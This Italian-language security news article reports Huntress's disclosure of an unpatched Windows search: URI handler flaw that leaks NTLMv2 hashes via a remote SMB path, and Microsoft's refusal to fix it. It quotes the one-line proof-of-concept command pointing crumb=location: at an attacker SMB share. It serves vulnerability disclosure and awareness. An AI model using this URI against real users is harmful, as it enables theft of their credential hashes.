Windows Search URI: Microsoft rifiuta di patchare furto hash NTLM

Huntress ha divulgato una falla nel gestore URI search: di Windows che ruba hash NTLMv2 via UNC path SMB. Microsoft ha rifiutato il fix: severità sotto soglia…

Contenuto

Windows Search URI: Microsoft rifiuta di patchare furto hash NTLM
Windows Search URI: Microsoft rifiuta di patchare furto hash NTLM

Huntress ha reso pubblica il 3 giugno 2026 una vulnerabilità non patchata nel gestore URI search: di Windows. La disclosure, avvenuta il 15 aprile 2026, è stata respinta da Microsoft con una motivazione di policy: la severità calcolata non raggiunge la soglia per il servicing. Il ricercatore Andrew Schwartz ha dimostrato che il meccanismo è identico a quello di CVE-2026-33829, una falla dello Snipping Tool corretta dall'azienda di Redmond nell'aprile 2026.

Punti chiave
  • Il gestore URI search: di Windows accetta il parametro crumb=location: senza validare che il percorso sia locale, permettendo l'iniezione di un UNC path SMB remoto
  • Microsoft ha declinato la richiesta di fix, citando la policy per cui "only Important and Critical severity cases meet our bar for servicing"
  • Il meccanismo di leakage NTLMv2 è parallelo a quello di CVE-2026-33829 (Snipping Tool), patchato con CVSS 3.1 4.3 MEDIUM, ma applicato a un diverso URI handler di sistema
  • L'uso del parametro crumb per furto di hash era già documentato da Varonis nel febbraio 2024 con CVE-2023-35636

Come funziona l'exploit: dal clic all'hash rubato

Il comando di proof-of-concept pubblicato da Huntress è: start "" "search:query=test&crumb=location:\\10.0.1.100\share". Quando un utente attiva questo URI, Windows elabora il parametro crumb=location: come indicazione di percorso di ricerca. Il sistema non verifica che il percorso sia locale, tentando di connettersi all'host SMB remoto specificato.

Questa connessione triggera l'autenticazione NTLM. L'attaccante, controllando il server SMB di destinazione, cattura l'hash Net-NTLMv2 dell'utente. Il ricercatore Schwartz ha confermato che il leak "produce lo stesso Net-NTLMv2, ha gli stessi prerequisiti" della falla dello Snipping Tool.

Il rifiuto di Microsoft: quando il CVSS blocca il fix

La risposta di Microsoft, riportata testualmente da Huntress, è: "only Important and Critical severity cases meet our bar for servicing". La vulnerabilità dello Snipping Tool, CVE-2026-33829, è stata invece corretta con CVSS 3.1 4.3 MEDIUM secondo il National Vulnerability Database.

Il dossier non specifica se Microsoft abbia assegnato un CVE alla falla search: o se ne pianifichi uno in futuro. Non emergono sovrapposizioni confermate che colleghino CVE-2026-32202, inserito nel catalogo CISA KEV il 28 aprile 2026 con scadenza azione il 12 maggio 2026, alla falla search: URI handler.

"It used the same NTLM leakage mechanism, produced the same Net-NTLMv2 leak, had the same prerequisites, and carried the same Moderate rating" — Andrew Schwartz, Huntress

Precedenti e contesto: il parametro crumb come vettore ricorrente

Varonis aveva già documentato nel febbraio 2024, con CVE-2023-35636, l'uso del parametro crumb=location: per indurre connessioni SMB non autorizzate. La ricorrenza dello stesso vettore in componenti Windows distinti — prima in Outlook/altri handler, poi nello Snipping Tool, ora nel gestore search: — documenta un pattern di validazione disomogenea.

La fonte non specifica se Microsoft abbia implementato controlli centralizzati per il parsing del parametro crumb dopo le disclosure precedenti. L'evidenza disponibile indica che CVE-2026-33829 è stata corretta, mentre la falla search: non lo è stata. Il brief non documenta i criteri di differenziazione tra i due casi.

Cosa sappiamo e cosa no

Il dossier documenta alcuni limiti espliciti che i security team devono considerare:

  • Non è confermato un CVE assegnato alla specifica vulnerabilità search: URI handler; il brief non riporta un identificatore ufficiale distinto da CVE-2026-33829 (Snipping Tool)
  • Non è documentata una patch pianificata; Microsoft ha rifiutato il fix con motivazione di policy, senza indicare revisione futura della decisione
  • Non sono confermati exploit in-the-wild per la falla search: specifica; il PoC è dimostrativo, non indicativo di campagne attive
  • Non sono specificate versioni Windows vulnerabili; i CPE in NVD si riferiscono a CVE-2026-33829 e CVE-2026-32202, non direttamente alla falla search:
  • Non esiste un advisory ZDI/GHSL strutturato citato nel brief per questa disclosure; la fonte primaria resta la pubblicazione Huntress/The Hacker News

Questi limiti non attenuano la rilevanza del meccanismo documentato, ma definiscono il perimetro entro cui i security team possono operare senza eccedere l'evidenza disponibile.

Analisi: la contraddizione CVE-2026-33829

La domanda che il caso solleva è strutturale: perché lo stesso meccanismo, lo stesso ricercatore, lo stesso punteggio CVSS 4.3 MEDIUM generano due esiti diversi? Microsoft non risponde nel brief. CVE-2026-33829 è patchata; la falla search: con identica valutazione Moderate non lo è.

La policy citata da Microsoft — "only Important and Critical severity cases meet our bar for servicing" — non spiega la disparità, dato che entrambe le vulnerabilità condividono la stessa classificazione. Il brief non documenta se Microsoft abbia ricalibrato internamente la severità di CVE-2026-33829 post-patch o se esistano criteri non pubblici per la selezione del servicing.

Il rifiuto lascia aperta una vulnerabilità con impatto di credential theft reale, meccanismo identico a una falla già patchata, senza aggiornamento di sicurezza. La permanenza nel codebase è documentata; le conseguenze operative per i difensori dipendono dai limiti esplicitati nella sezione precedente.

Perché questo caso segnala un problema di policy

La discrepanza non è spiegata nel dossier, né Microsoft ha reso pubblici i criteri di differenziazione. La fonte non specifica se esista un framework di valutazione uniforme per i URI handler di sistema. Il caso documenta un comportamento differenziato di patch senza fornire la logica sottostante.

Per i security team, l'assenza di un identificatore ufficiale per la falla search: e l'assenza di un advisory strutturato limitano la tracciabilità formale. CVE-2026-32202 è nel catalogo CISA KEV, ma il brief non conferma la sua identità con la vulnerabilità search: URI handler. Questa lacuna fonti è documentata, non interpretata.

La domanda che resta aperta è semplice: una falla di credential theft è "Moderate" finché non la patchi, "Important" dopo? Il brief non fornisce la risposta. Microsoft tace.

Le informazioni sono state verificate sulle fonti citate e aggiornate al momento della pubblicazione.

Fonti

Link utili

Apri l'articolo su DeafNews